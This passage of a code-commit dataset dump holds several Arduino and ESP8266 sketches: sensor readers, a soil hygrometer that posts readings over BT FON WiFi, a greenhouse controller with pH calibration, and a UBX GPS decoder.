data, len: data length, buf: data buf\n\n unsigned int canId = CAN.getCanId();\n \n Serial.println(\"-----------------------------\");\n Serial.print(\"Get data from ID: \");\n Serial.println(canId, HEX);\n\n for(int i = 0; i<len; i++) \/\/ print the data\n {\n Serial.print(buf[i], HEX);\n Serial.print(\"\\t\");\n }\n Serial.println();\n }\n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'receive\/receive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e40e6d06ed4fbdc976cde30f118e90802259dff","subject":"\uc870\ub3c4\uc13c\uc11c \ud30c\uc77c \ubcf4\ub0c5\ub2c8\ub2f9","message":"\uc870\ub3c4\uc13c\uc11c \ud30c\uc77c \ubcf4\ub0c5\ub2c8\ub2f9\n","repos":"iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm,iot-labs\/farm","old_file":"Platforms\/Arduino\/lightSensor.ino","new_file":"Platforms\/Arduino\/lightSensor.ino","new_contents":"int pin = A0;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int sensorValue = analogRead(A0);\n Serial.print(\"sensorValue:\");\n Serial.println(sensorValue);\n delay(200);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Platforms\/Arduino\/lightSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5efe3a0e523f5fdaeca35a578326b0a2927f681","subject":"Add InteractiveBuffer example","message":"Add InteractiveBuffer example\n","repos":"janelia-arduino\/JsonPrinter,peterpolidoro\/JsonPrinter","old_file":"examples\/InteractiveBuffer\/InteractiveBuffer.ino","new_file":"examples\/InteractiveBuffer\/InteractiveBuffer.ino","new_contents":"#include <Streaming.h>\n#include <JsonStream.h>\n#include <ArduinoJson.h>\n\nnamespace constants\n{\nenum{STRING_LENGTH_REQUEST=257};\nconst long BAUD = 115200;\n}\n\nchar request[constants::STRING_LENGTH_REQUEST];\nJsonStream json_stream(Serial);\n\n\nvoid setup()\n{\n Serial.begin(constants::BAUD);\n}\n\nvoid loop() {\n if (json_stream.available() > 0)\n {\n Serial << \"available = \" << json_stream.available() << \"\\n\";\n long bytes_read = json_stream.readJsonIntoBuffer(request);\n Serial << \"bytes_read = \" << bytes_read << \"\\n\";\n if (bytes_read > 0)\n {\n Serial << \"request = \" << request << \"\\n\";\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/InteractiveBuffer\/InteractiveBuffer.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e20bb23b2857203a533656cbb3276f8d2fd1920b","subject":"Create am2315test.ino","message":"Create am2315test.ino","repos":"pewenn\/Adafruit_AM2315","old_file":"am2315test.ino","new_file":"am2315test.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_AM2315.h>\n\n\/*************************************************** \n This is an example for the AM2315 Humidity + Temp sensor\n\n Designed specifically to work with the Adafruit BMP085 Breakout \n ----> https:\/\/www.adafruit.com\/products\/1293\n\n These displays use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ Connect RED of the AM2315 sensor to 5.0V\n\/\/ Connect BLACK to Ground\n\/\/ Connect WHITE to i2c clock - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 5\n\/\/ Connect YELLOW to i2c data - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 4\n\nAdafruit_AM2315 am2315;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"AM2315 Test!\");\n\n if (! am2315.begin()) {\n Serial.println(\"Sensor not found, check wiring & pullups!\");\n while (1);\n }\n}\n\nvoid loop() {\n Serial.print(\"Hum: \"); Serial.println(am2315.readHumidity());\n Serial.print(\"Temp: \"); Serial.println(am2315.readTemperature());\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'am2315test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"22949a9a6609296242f03af07e231136206f5206","subject":"Initial version of soil sensor sketch","message":"Initial version of soil sensor sketch\n","repos":"HarringayMakerSpace\/IoT","old_file":"HygrometerOnceADay\/HygrometerOnceADay.ino","new_file":"HygrometerOnceADay\/HygrometerOnceADay.ino","new_contents":"\/**\n * ESP8266 sketch to monitor soil moisture and temperature, publishing sensor readings once a day. \n * Connects to the public FON WiFi network so can work out and about the neighbourhood.\n * \n * Requires:\n * - a hygrometer probe connected to the ADC pin\n * - a DS18B20 temperature sensor connected to GPIO-4\n * \n * Using deepSleep and just one publish per day it should run for over a year on a couple of AA \n * alkaline batteries. Use an ESP with an external antenna such as an ESP-07 or ESP-201 and bury \n * it in the ground with just the whip antenna poking out.\n * \n * The Harringay Maker Space\n * License: Apache License v2\n **\/\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <EEPROM.h>\n#include <OneWire.h>\n#include <DallasTemperature.h> \/\/ https:\/\/milesburton.com\/Dallas_Temperature_Control_Library\n\n\/\/ -------------- Customize these values -----------------\nconst char* fonUserId = \"<bt userid>\";\nconst char* fonPassword = \"<bt password>\";\nconst char* fredUserId = \"<FRED USERID>\"; \nconst char* httpNode = \"test1\";\n\/\/ ----------- Customize the above values ----------------\n\nconst char* fonssid = \"BTWifi-with-FON\";\nconst char* fonHost = \"www.btopenzone.com\";\nconst int fonPort = 8443;\n\nconst char* host = \"fred.sensetecnic.com\";\n\n\/\/ the httpNode can be shared by lots of sensors so give each a unique id\nconst char* thisID = \"Frobisher-S\";\n\nunsigned long oneSecond = 1000 * 1000; \nunsigned long sleepTime = 60 * 60 * oneSecond; \/\/ 1 hour \n\/\/unsigned long sleepTime = 1 * oneSecond; \n\nOneWire oneWire(4); \/\/ on GPIO-4\nDallasTemperature sensors(&oneWire);\n\nvoid setup() {\n Serial.begin(115200); \n Serial.println(); \n\n sleep1Day();\n initWifi();\n logonFON();\n sendReading();\n goToSleep();\n}\n\nvoid loop() {\n \/\/ should never get here \n}\n\nvoid goToSleep() {\n Serial.print(\"*** Up time: \");\n Serial.print(millis());\n Serial.print(\", deep sleeping for \");\n Serial.print(sleepTime);\n Serial.println(\" microseconds...\");\n ESP.deepSleep(sleepTime, WAKE_RF_DISABLED); \/\/ WiFi radio off\n}\n\nvoid sendReading() {\n Serial.print(\"*** Connecting to \");\n Serial.print(host);\n \n WiFiClient client;\n int retries = 15;\n while (!!!client.connect(host, 80) && (retries-- > 0)) {\n Serial.print(\".\");\n }\n Serial.println();\n if (!!!client.connected()) {\n Serial.println(\"*** Failed to connect.\");\n goToSleep();\n }\n \n \/\/ http:\/\/fred.sensetecnic.com\/public\/torntrousers\/soil1?vdd=3.0&soil=123 \n\n int soil = readSoil();\n float temp = readTemp();\n \n String url = \"\/public\/\";\n url += fredUserId;\n url += \"\/\";\n url += httpNode;\n url += \"?id=\";\n url += thisID;\n url += \"&soil=\";\n url += soil;\n url += \"&temp=\";\n url += temp;\n url += \"&rssi=\";\n url += WiFi.RSSI();\n url += \"&uptime=\";\n url += millis();\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n\n retries = 100; \/\/ 5 seconds \n while(!!!client.available() && (retries-- > 0)) {\n delay(50); \n }\n \/\/ don't need to check for timeout as the next step is sleeping anyway\n \n while(client.available()){\n Serial.write(client.read());\n }\n Serial.println();\n}\n\nvoid initWifi() {\n Serial.print(\"*** Connecting to \");\n Serial.print(fonssid);\n\n WiFi.mode(WIFI_STA); \n WiFi.begin(fonssid);\n\n int retries = 200; \/\/ 20 seconds\n while (WiFi.status() != WL_CONNECTED && (retries-- > 0)) {\n delay(100);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n\n if (retries < 1) {\n Serial.println(\"*** Failed to connect to WiFi\");\n goToSleep();\n }\n\n Serial.print(\"*** WiFi connected, IP address: \");\n Serial.print(WiFi.localIP());\n Serial.print(\" RSSI: \");\n Serial.print(WiFi.RSSI());\n Serial.print(\" BSSID: \");\n Serial.println(WiFi.BSSIDstr());\n}\n\nvoid logonFON() {\n WiFiClientSecure client;\n Serial.print(\"*** Connecting to \");\n Serial.print(fonHost);\n int retries = 5;\n while (!!!client.connect(fonHost, fonPort) && (retries-- > 0)) {\n Serial.print(\".\");\n }\n Serial.println();\n if (!!!client.connected()) {\n Serial.println(\"*** Failed to connect to FON\");\n goToSleep();\n }\n\n String url = \"\/tbbLogon\";\n String postData = \"username=\";\n postData += fonUserId;\n postData += \"&password=\";\n postData += fonPassword;\n postData += \"&xhtmlLogon=https%3A%2F%2Fwww.btopenzone.com%3A8443%2FtbbLogon\";\n \n String request = \"POST \" + url + \" HTTP\/1.1\\r\\n\"\n \"Host: www.btopenzone.com:8443\" + \"\\r\\n\"\n \"User-Agent: curl\/7.30.0\\r\\n\"\n \"Accept: *\/*\\r\\n\"\n \"Content-Type: application\/x-www-form-urlencoded\\r\\n\"\n \"Content-Length: \" + postData.length() + \"\\r\\n\"\n \"\\r\\n\" + postData;\n\n client.print(request);\n Serial.print(request);\n\n Serial.print(\"\\n Request sent, receiving response\");\n retries = 50 * 20 * 6; \/\/ 6 seconds\n while (!!!client.available() && (retries-- > 0)) {\n delay(50);\n Serial.print(\".\");\n }\n Serial.println();\n\n while (client.available()) {\n Serial.write(client.read());\n }\n\n Serial.println(\"*** FON logon done, closing connection\");\n client.stop();\n}\n\nint readSoil() {\n pinMode(4, OUTPUT);\n digitalWrite(4, HIGH);\n delay(100);\n int soil = analogRead(A0);\n digitalWrite(4, LOW);\n Serial.print(\"Soil reading: \");\n Serial.println(soil);\n return soil;\n}\n\nfloat readTemp() {\n sensors.begin();\n sensors.requestTemperatures();\n float temp = sensors.getTempCByIndex(0);\n Serial.print(\"Temp: \");\n Serial.println(temp);\n return temp;\n}\n\n\/**\n * The deepSleep time is an uint32 of microseconds so a maximum of 4,294,967,295, about 71 minutes. \n * So to publish a reading once per day needs to sleep for one hour 24 times and keep track of \n * where its up to in RTC memory or EEPROM.\n * (RTC memory is broken, see https:\/\/github.com\/esp8266\/Arduino\/issues\/619) \n * The WiFi radio is switched off for all but the 24th wakeup to save power\n *\/\nvoid sleep1Day() {\n byte rtcStore[2];\n\/\/ system_rtc_mem_read(64, rtcStore, 2);\n EEPROM.begin(4);\n rtcStore[0] = EEPROM.read(0);\n rtcStore[1] = EEPROM.read(1);\n printRtcStore(rtcStore);\n\n \/\/ 123 in [0] is a marker to detect first use \n if (rtcStore[0] != 123) {\n rtcStore[0] = 123;\n rtcStore[1] = 0;\n } else {\n rtcStore[1] += 1;\n }\n if (rtcStore[1] > 24) {\n rtcStore[1] = 0;\n }\n printRtcStore(rtcStore);\n\/\/ system_rtc_mem_write(64, rtcStore, 2);\n EEPROM.write(0, rtcStore[0]);\n EEPROM.write(1, rtcStore[1]);\n EEPROM.end();\n \n if (rtcStore[1] == 0) {\n return; \/\/ a day is up, go do some work\n } \n\n Serial.print(\"*** Up time: \");\n Serial.print(millis());\n Serial.print(\", deep sleep for \");\n Serial.print(sleepTime\/1000000);\n Serial.print(\" seconds, with radio \");\n if (rtcStore[1] == 24) {\n Serial.println(\"on... \");\n ESP.deepSleep(1, WAKE_RF_DEFAULT);\n } else {\n Serial.println(\"off... \");\n ESP.deepSleep(sleepTime, WAKE_RF_DISABLED);\n }\n}\n\nvoid printRtcStore(byte* rtcStore) {\n Serial.print(\"rtcStore: \");\n Serial.print(rtcStore[0]);\n Serial.print(\",\");\n Serial.print(rtcStore[1]);\n Serial.println();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HygrometerOnceADay\/HygrometerOnceADay.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"418e3caf0f81094cdab36d67057b46dc0e4283f2","subject":"Move arduino dir","message":"Move arduino dir\n\nThe name of the directory and sketch file needs to be the same.\nOtherwise the arduino IDE will complain.\n\nSigned-off-by: Robin Hagman <a0ad21b4a5c77bde0f74c8a70cf9b810eabd0434@gmail.com>\n","repos":"rhagman\/sustainable-green-plants","old_file":"arduino_sketch\/arduino_sketch.ino","new_file":"arduino_sketch\/arduino_sketch.ino","new_contents":"\/*\n * Work in progress, !!!bugg tDelay after a month and you change the date.!!!\n * !!!bugg fanStatus overwrite tempcheck > 30 only once every minute.!!!\n *\/\n#include <DHT.h> \/\/ For the DHT11 temperature and humidity sensor\n#include <Time.h> \/\/ For timekeeping\n#include <Wire.h> \/\/ I2C library\n#include <avr\/eeprom.h> \/\/ library to save calibration and configration information in EEPROM\n\n\n\/\/Define LED pins (PWM pins: 3,5,6,9,10,11 on arduino UNO)\nconst int RED = 11;\nconst int GREEN = 10;\nconst int BLUE = 9;\nconst int PUMP = 2; \nconst int NOZZLE = 12; \nconst int FAN = 7; \nconst int BOARDLED = 13; \/\/Pin 13 and Arduino UNO board LED\nconst int LIGHT = A0; \/\/ Light sensor, Analog pin 0\nconst int runInterval = 1; \/\/ Define delay between the run and measure interval in seconds\nconst int measureInterval = 60;\n\n\n\/\/ Define DHT11 sensor\n#define DHTPIN 8 \/\/ what pin we're connected to\n#define DHTTYPE DHT11 \/\/ DHT 11 \nDHT dht(DHTPIN, DHTTYPE);\/\/ make the object\n\n\n\/\/----- pH probe code\n#define Write_Check 0x1234\n#define ADDRESS 0x4C \/\/ MCP3221 A5 in Dec 77 A0 = 72 A7 = 79)\n \/\/ A0 = x48, A1 = x49, A2 = x4A, A3 = x4B,\n \/\/ A4 = x4C, A5 = x4D, A6 = x4E, A7 = x4F\n\/\/ Our parameter, for ease of use and eeprom access lets use a struct\nstruct parameters_T\n{\n unsigned int WriteCheck;\n int pH7Cal, pH4Cal;\n float pHStep;\n}\nparams;\n \nfloat pH;\nint adc_result; \/\/ Used in function phProbe and case C for calibration of the probe\nconst float vRef = 4.096; \/\/ Our vRef into the ADC wont be exact Since you can run VCC lower than Vref its best to measure and adjust here\nconst float opampGain = 5.25; \/\/ What is our Op-Amps gain (stage 1)\n\/\/----- End pH probe code\n\n\n\/\/ User schedule of all settings (7 settings, 1-9 predefined settinggroups, 1-7 days with 1h resolution)\nint num_usr_settings = 9; \/\/ number of elements in userSch[x][]\nint NUM_SETTINGS = 7; \/\/ number of elements in usrSch[][x]\nint num_usr_settings_day = 7; \/\/ number of elements in usrSchInd[x][]\nint NUM_SETTINGS_DAY = 24; \/\/ number of elements in usrSchInd[][x]\nchar* userSchedule[] = {\"0,0,0,0,20,2,0\",\"25,0,0,0,20,2,0\",\"25,25,0,0,20,2,0\",\"25,25,25,0,20,2,0\",\"50,50,50,0,20,2,0\",\"100,100,100,0,20,2,0\",\"100,100,100,1,20,2,0\",\"100,100,100,0,20,2,0\",\"100,100,100,1,20,2,0\"};\nint usrSch[9][7] = {{0,0,0,0,20,2,0},\n {25,0,0,0,20,2,0},\n {25,25,0,0,20,2,0},\n {25,25,25,0,20,2,0},\n {50,50,50,0,20,2,0},\n {100,100,100,0,20,2,0},\n {100,100,100,1,20,2,0},\n {100,100,100,0,20,2,0},\n {100,100,100,1,20,2,0}};\nint usrSchInd[7][24] = {{0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0},\n {0,0,0,0,1,2,3,4,5,6,5,5,5,5,5,5,4,3,2,1,0,0,0,0}};\n\n\/\/Variables for RGB levels\nint rval = 0;\nint gval = 0;\nint bval = 0;\n\n\/\/Variable for pump\nint pumpOn = 0; \/\/0 off, 1 on\nint nozzleInterval = 20; \/\/min interval between nozzle activation >60 == off\nint nozzleDuration = 1; \/\/2 sec active nozzle <0 == off\nint fanStatus = 0; \/\/0 off, 1 on\n\n\/\/Run preprogrammed setup, oneReport after nozzle on\nint runProgram = 0;\nint oneReport = 0;\n\n\/\/Time\ntime_t t = 0;\ntime_t tDelay = runInterval;\ntime_t tDelayMin = measureInterval;\n\n\/\/Sensor data\nint sensorTempData[] = {0,0,0,0,0}; \/\/ temp, humid, light, ph, phTwoDecPlaces\n\nvoid setup()\n{\n Wire.begin(); \/\/ conects I2C\n Serial.begin(9600); \/\/Serial port at 9600 baud\n dht.begin(); \/\/Start the dht object\n \n \/\/Set pins as outputs\n pinMode(RED, OUTPUT);\n pinMode(GREEN, OUTPUT);\n pinMode(BLUE, OUTPUT);\n pinMode(PUMP, OUTPUT);\n pinMode(NOZZLE, OUTPUT);\n pinMode(FAN, OUTPUT);\n pinMode(BOARDLED, OUTPUT);\n digitalWrite(BOARDLED, LOW);\n \n \/\/ Read info from eeprom, contains calibration values from before. If this is the first run time, use default probe settings.\n eeprom_read_block(¶ms, (void *)0, sizeof(params));\n if (params.WriteCheck != Write_Check){\n reset_Params();\n }\n}\n\nvoid loop()\n{\n t = now();\n \n while (Serial.available() > 0){ \/\/Keep working as long as data is in the buffer\n serialControl();\n }\n \n if(t >= tDelay)\n {\n if(runProgram == 1)\n {\n scheduleFromUser();\n setLight();\n if(minute(t) == 0){ \/\/Only run the pump for 1 min when scheduled for an hour\n setPump();\n }\n if(minute(t) > 0 && pumpOn == 1){\n pumpOn = 0;\n setPump();\n }\n setFan(fanStatus);\n }\n if(nozzleInterval-1 == minute(t) % nozzleInterval)\n {\n if(nozzleDuration > second(t))\n {\n digitalWrite(NOZZLE, HIGH);\n oneReport = 1;\n }\n if(nozzleDuration <= second(t))\n {\n digitalWrite(NOZZLE, LOW);\n if(oneReport == 1){\n oneReport = 0;\n serialReport();\n }\n }\n }\n if(t >= tDelayMin)\n {\n readSensors();\n if(sensorTempData[0] >= 30 || sensorTempData[1] >= 50)\n {\n setFan(1);\n }\n if(sensorTempData[0] < 30 && sensorTempData[1] < 50)\n {\n setFan(0);\n }\n tDelayMin = t + measureInterval;\n }\n tDelay = t + runInterval;\n }\n}\n\n\/*\n * Messages consist of the letter S followed by \n * int(0-255),int(0-255),int(0-255),int(0-1),int(0-30),int(0-10),int(0-1)\n * S,255,255,255,0,20,5,0 (R,G,B,pump,nozzlieInterval,nozzleDuration,fan)\n *\/\nvoid serialControl()\n{\n char c = Serial.read(); \n switch(c){\n case 'S': \n {\n rval = Serial.parseInt(); \/\/First valid integer\n gval = Serial.parseInt(); \/\/Second valid integer\n bval = Serial.parseInt(); \/\/Third valid integer\n pumpOn = Serial.parseInt(); \/\/Fourth valid integer\n nozzleInterval = Serial.parseInt(); \/\/Fifth valid integer\n nozzleDuration = Serial.parseInt(); \/\/sixth valid integer\n fanStatus = Serial.parseInt(); \/\/seventh valid integer\n \n setLight();\n setPump();\n setNozzle();\n setFan(fanStatus);\n break;\n }\n case 'R':\n {\n readSensors();\n serialReport();\n break;\n }\n case 'Q':\n {\n if(runProgram == 1)\n {\n runProgram = 0;\n break;\n }\n if(runProgram == 0)\n {\n runProgram = 1;\n break;\n }\n break;\n }\n case 'T':\n {\n int h = Serial.parseInt(); \/\/First valid integer\n int m = Serial.parseInt(); \/\/Second valid integer\n int d = Serial.parseInt(); \/\/Third valid integer\n setTime(h,m,0,d,1,2014); \/\/hour,min,sec,day,month,year\n t = now();\n break;\n }\n case 'U':\n {\n int k = 0;\n num_usr_settings = Serial.parseInt(); \/\/The first int is the number of user settings from the user\n while(k < num_usr_settings){\n for(int i = 0; i < NUM_SETTINGS; i++){\n usrSch[k][i] = Serial.parseInt();\n Serial.print(usrSch[k][i]);\n if(i==NUM_SETTINGS-1){\n k = k++;\n Serial.println(\"\");\n }\n else{\n Serial.print(\",\");\n }\n }\n }\n break;\n }\n case 'I':\n {\n int k = 0;\n num_usr_settings_day = Serial.parseInt(); \/\/The first int is the number of user settings for a day from the user\n while(k < num_usr_settings_day){\n for(int i = 0; i < NUM_SETTINGS_DAY; i++){\n usrSchInd[k][i] = Serial.parseInt();\n Serial.print(usrSchInd[k][i]);\n if(i==NUM_SETTINGS_DAY-1){\n k = k++;\n Serial.println(\"\");\n }\n else{\n Serial.print(\",\");\n }\n }\n }\n break;\n }\n case 'P':\n {\n \/\/Lets read in our parameters and spit out the info!\n eeprom_read_block(¶ms, (void *)0, sizeof(params));\n Serial.print(\"pH 7 cal: \");\n Serial.print(params.pH7Cal);\n Serial.print(\" | \");\n Serial.print(\"pH 4 cal: \");\n Serial.print(params.pH4Cal);\n Serial.print(\" | \");\n Serial.print(\"pH probe slope: \");\n Serial.print(params.pHStep);\n Serial.print(\" | \");\n Serial.print(\"pH: \");\n Serial.println(pH);\n break;\n }\n case 'C':\n {\n \/\/Which range?\n int calrange;\n calrange = Serial.parseInt();\n if( calrange == 4 ) calibratepH4(adc_result);\n if( calrange == 7 ) calibratepH7(adc_result);\n break;\n }\n }\n}\n\nvoid scheduleFromUser()\n{\n \/\/Change every hour\n int x = hour(t); \/\/0-23\n int y = day(t) % num_usr_settings_day; \/\/ rotate the days\n int z = usrSchInd[y][x];\n \n rval = usrSch[z][0];\n gval = usrSch[z][1];\n bval = usrSch[z][2];\n pumpOn = usrSch[z][3];\n nozzleInterval = usrSch[z][4];\n nozzleDuration = usrSch[z][5]; \n fanStatus = usrSch[z][6];\n}\n\nvoid setLight()\n{\n \/\/Set LED (value between 0 and 255)\n analogWrite(RED, rval);\n analogWrite(GREEN, gval);\n analogWrite(BLUE, bval);\n}\n\nvoid setPump()\n{\n \/\/Set pump (value 1 or 0)\n if (pumpOn == 1){\n digitalWrite(PUMP, HIGH);\n }\n if (pumpOn == 0){\n digitalWrite(PUMP, LOW);\n }\n}\n\nvoid setNozzle()\n{\n if(nozzleDuration == 0)\n {\n digitalWrite(NOZZLE, LOW);\n }\n}\n\nvoid setFan(int setStatus)\n{\n if(setStatus == 1)\n {\n digitalWrite(FAN, HIGH);\n }\n if(setStatus == 0)\n {\n digitalWrite(FAN, LOW);\n }\n}\n\nvoid serialReport()\n{\n String reportValues;\n \n reportValues = \"R\";\n reportValues = reportValues + rval;\n reportValues = reportValues + \",\";\n reportValues = reportValues + gval;\n reportValues = reportValues + \",\";\n reportValues = reportValues + bval;\n reportValues = reportValues + \",\";\n reportValues = reportValues + pumpOn;\n reportValues = reportValues + \",\";\n reportValues = reportValues + nozzleInterval;\n reportValues = reportValues + \",\";\n reportValues = reportValues + nozzleDuration;\n reportValues = reportValues + \",\";\n reportValues = reportValues + fanStatus;\n \n reportValues = timeReport() + \"S\" + sensorTempData[0] + \",\" + sensorTempData[1] + \",\" \n + sensorTempData[2] + \",\" + sensorTempData[3] + \",\" \n + sensorTempData[4] + reportValues;\n Serial.println(reportValues);\n}\n\nString timeReport()\n{\n String timeString;\n \n timeString = \"T\";\n timeString = timeString + day(t);\n timeString = timeString + \":\";\n timeString = timeString + hour(t);\n timeString = timeString + \":\";\n timeString = timeString + minute(t);\n timeString = timeString + \":\";\n timeString = timeString + second(t);\n \n return timeString;\n}\n\nvoid readSensors()\n{\n dhtSensor();\n lightSensor();\n phProbe();\n}\n\n\/\/----- pH functions\nvoid phProbe()\n{\n \/\/This is our I2C ADC interface section\n \/\/We'll assign 2 BYTES variables to capture the LSB and MSB(or Hi Low in this case)\n byte adc_high;\n byte adc_low;\n \n Wire.requestFrom(ADDRESS, 2); \/\/requests 2 bytes\n if(Wire.available())\n {\n while(Wire.available() < 2); \/\/while two bytes to receive\n \/\/Set em\n adc_high = Wire.read(); \n adc_low = Wire.read();\n \/\/now assemble them, remembering our byte maths a Union works well here as well\n adc_result = (adc_high * 256) + adc_low;\n \/\/We have a our Raw pH reading fresh from the ADC now lets figure out what the pH is \n calcpH(adc_result);\n\n sensorTempData[3] = (int) pH;\n sensorTempData[4] = ((int) (pH*100) - sensorTempData[3]*100); \/\/ Calculate the two decimals\n }\n}\n\nvoid calibratepH7(int calnum)\n{\n params.pH7Cal = calnum;\n calcpHSlope();\n \/\/write these settings back to eeprom\n eeprom_write_block(¶ms, (void *)0, sizeof(params));\n}\nvoid calibratepH4(int calnum)\n{\n params.pH4Cal = calnum;\n calcpHSlope();\n \/\/write these settings back to eeprom\n eeprom_write_block(¶ms, (void *)0, sizeof(params));\n}\nvoid calcpHSlope ()\n{ \n \/\/RefVoltage * our deltaRawpH \/ 12bit steps *mV in V \/ OP-Amp gain \/pH step difference 7-4\n params.pHStep = ((((vRef*(float)(params.pH7Cal - params.pH4Cal))\/4096)*1000)\/opampGain)\/3;\n}\nvoid calcpH(int raw)\n{\n float miliVolts = (((float)raw\/4096)*vRef)*1000;\n float temp = ((((vRef*(float)params.pH7Cal)\/4096)*1000)- miliVolts)\/opampGain;\n pH = 7-(temp\/params.pHStep);\n}\nvoid reset_Params(void)\n{\n \/\/Restore to default set of parameters!\n params.WriteCheck = Write_Check;\n params.pH7Cal = 2048; \/\/assume ideal probe and amp conditions 1\/2 of 4096\n params.pH4Cal = 1286; \/\/using ideal probe slope we end up this many 12bit units away on the 4 scale\n params.pHStep = 59.16;\/\/ideal probe slope\n eeprom_write_block(¶ms, (void *)0, sizeof(params)); \/\/write these settings back to eeprom\n}\n\/\/----- End pH functions\n\nvoid lightSensor() \n{\n \/\/int MIN_LIGHT = 200;\n \/\/int MAX_LIGHT = 900;\n int val;\n \n val = analogRead(LIGHT);\n \/\/val = map(val,MIN_LIGHT,MAX_LIGHT,0,255); \/\/ map analog 1024 -> digital pwm 256\n \/\/val = constrain(val,0,255); \/\/ lowest and highest value of val allowed\n \n sensorTempData[2] = val;\n}\n\nvoid dhtSensor()\n{\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n \/\/ check if returns are valid, if they are NaN (not a number) then something went wrong!\n if (isnan(t) || isnan(h))\n {\n sensorTempData[0] = 0;\n sensorTempData[1] = 0;\n } \n else \n {\n sensorTempData[0] = (int)t;\n sensorTempData[1] = (int)h;\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_sketch\/arduino_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e662ff65f410812d1289e73292b00f69be7e09ec","subject":"Added files via upload","message":"Added files via upload","repos":"volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded,volodink\/ubx-decoder-embedded","old_file":"temp\/decodeUBX.ino","new_file":"temp\/decodeUBX.ino","new_contents":"void decodeUBX(void)\n{\n if (UBX_class == 0x01)\n {\n switch (UBX_id)\n {\n case 0x02: \/\/NAV-POSLLH\n {\n GPSdata[0] = message[4]; \/\/longitude-0\n GPSdata[1] = message[5]; \/\/longitude-1\n GPSdata[2] = message[6]; \/\/longitude-2\n GPSdata[3] = message[7]; \/\/longitude-3\n\n GPSdata[4] = message[8]; \/\/latitude-0\n GPSdata[5] = message[9]; \/\/latitude-1\n GPSdata[6] = message[10]; \/\/latitude-2\n GPSdata[7] = message[11]; \/\/latitude-3\n\n GPSdata[8] = message[16]; \/\/height-0\n GPSdata[9] = message[17]; \/\/height-1\n GPSdata[10] = message[18]; \/\/height-2\n GPSdata[11] = message[19]; \/\/height-3\n\n GPSdata[12] = message[20]; \/\/horAcc-0\n GPSdata[13] = message[21]; \/\/horAcc-1\n GPSdata[14] = message[22]; \/\/horAcc-2\n GPSdata[15] = message[23]; \/\/horAcc-3\n\n GPSdata[16] = message[24]; \/\/vertAcc-0\n GPSdata[17] = message[25]; \/\/vertAcc-1\n GPSdata[18] = message[26]; \/\/vertAcc-2\n GPSdata[19] = message[27]; \/\/vertAcc-3\n\n POSLLH = true;\n break;\n }\n case 0x12: \/\/NAV-VELNED\n {\n GPSdata[20] = message[16]; \/\/speed-0\n GPSdata[21] = message[17]; \/\/speed-1\n GPSdata[22] = message[18]; \/\/speed-2\n GPSdata[23] = message[19]; \/\/speed-3\n\n GPSdata[24] = message[20]; \/\/gSpeed-0\n GPSdata[25] = message[21]; \/\/gSpeed-1\n GPSdata[26] = message[22]; \/\/gSpeed-2\n GPSdata[27] = message[23]; \/\/gSpeed-3\n\n GPSdata[28] = message[24]; \/\/heading-0\n GPSdata[29] = message[25]; \/\/heading-1\n GPSdata[30] = message[26]; \/\/heading-2\n GPSdata[31] = message[27]; \/\/heading-3\n\n GPSdata[32] = message[28]; \/\/speedAcc-0\n GPSdata[33] = message[29]; \/\/speedAcc-1\n GPSdata[34] = message[30]; \/\/speedAcc-2\n GPSdata[35] = message[31]; \/\/speedAcc-3\n\n GPSdata[36] = message[32]; \/\/headingAcc-0\n GPSdata[37] = message[33]; \/\/headingAcc-1\n GPSdata[38] = message[34]; \/\/headingAcc-2\n GPSdata[39] = message[35]; \/\/headingAcc-3\n\n VELNED = true;\n break;\n }\n }\n }\n if (POSLLH == 1 && VELNED == 1)\n {\n mySerial.print(\"Ypa!\");\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp\/decodeUBX.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"980d1b4153efe02748ba49c13b1492c393d809e4","subject":"add finger print sensor control code","message":"add finger print sensor control 